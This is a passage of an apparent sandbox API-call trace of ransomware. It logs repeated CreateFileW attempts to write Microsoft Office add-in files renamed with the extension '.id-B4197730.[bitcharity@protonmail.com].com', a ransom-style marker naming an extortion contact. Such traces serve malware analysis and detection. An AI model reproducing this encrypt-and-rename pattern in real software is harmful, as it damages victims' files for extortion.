(in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.203] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.203] CloseHandle (hObject=0x1068) returned 1 [0265.206] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.206] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.206] CloseHandle (hObject=0x1068) returned 1 [0265.208] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.208] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.208] CloseHandle (hObject=0x1068) returned 1 [0265.209] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.209] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.210] CloseHandle (hObject=0x1068) returned 1 [0265.213] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.213] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as80.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as80.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.213] CloseHandle (hObject=0x1068) returned 1 [0265.214] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.214] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\as90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\as90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.214] CloseHandle (hObject=0x1068) returned 1 [0265.215] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.215] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\db2v0801.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\db2v0801.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.215] CloseHandle (hObject=0x1068) returned 1 [0265.217] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.217] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.218] CloseHandle (hObject=0x1068) returned 1 [0265.218] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.218] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Informix.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\informix.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.218] CloseHandle (hObject=0x1068) returned 1 [0265.219] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.219] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\msjet.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\msjet.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.219] CloseHandle (hObject=0x1068) returned 1 [0265.220] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.220] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.220] CloseHandle (hObject=0x1068) returned 1 [0265.221] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.221] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql2000.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql2000.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.221] CloseHandle (hObject=0x1068) returned 1 [0265.224] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.224] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.224] CloseHandle (hObject=0x1068) returned 1 [0265.226] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.226] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.226] CloseHandle (hObject=0x1068) returned 1 [0265.229] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.229] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sqlpdw.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sqlpdw.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.229] CloseHandle (hObject=0x1068) returned 1 [0265.230] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.230] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.231] CloseHandle (hObject=0x1068) returned 1 [0265.231] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.231] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.232] CloseHandle (hObject=0x1068) returned 1 [0265.232] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.232] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cs\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.232] CloseHandle (hObject=0x1068) returned 1 [0265.704] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.704] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.755] CloseHandle (hObject=0x1270) returned 1 [0265.896] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.897] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ru\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.897] CloseHandle (hObject=0x1270) returned 1 [0265.900] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.900] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sk\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.900] CloseHandle (hObject=0x1270) returned 1 [0265.902] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.903] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sl\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.903] CloseHandle (hObject=0x1270) returned 1 [0265.906] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.906] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.906] CloseHandle (hObject=0x1270) returned 1 [0265.910] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.910] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.910] CloseHandle (hObject=0x1270) returned 1 [0265.914] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.914] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.914] CloseHandle (hObject=0x1270) returned 1 [0265.918] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.918] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.918] CloseHandle (hObject=0x1270) returned 1 [0265.921] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.922] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.922] CloseHandle (hObject=0x1270) returned 1 [0265.926] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.926] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tr\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.246] CloseHandle (hObject=0x1270) returned 1 [0266.424] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.424] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\datalisticonimagesmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.424] CloseHandle (hObject=0x1278) returned 1 [0266.425] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.425] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\GRIPMASK.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\gripmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.425] CloseHandle (hObject=0x1278) returned 1 [0266.426] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.426] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, 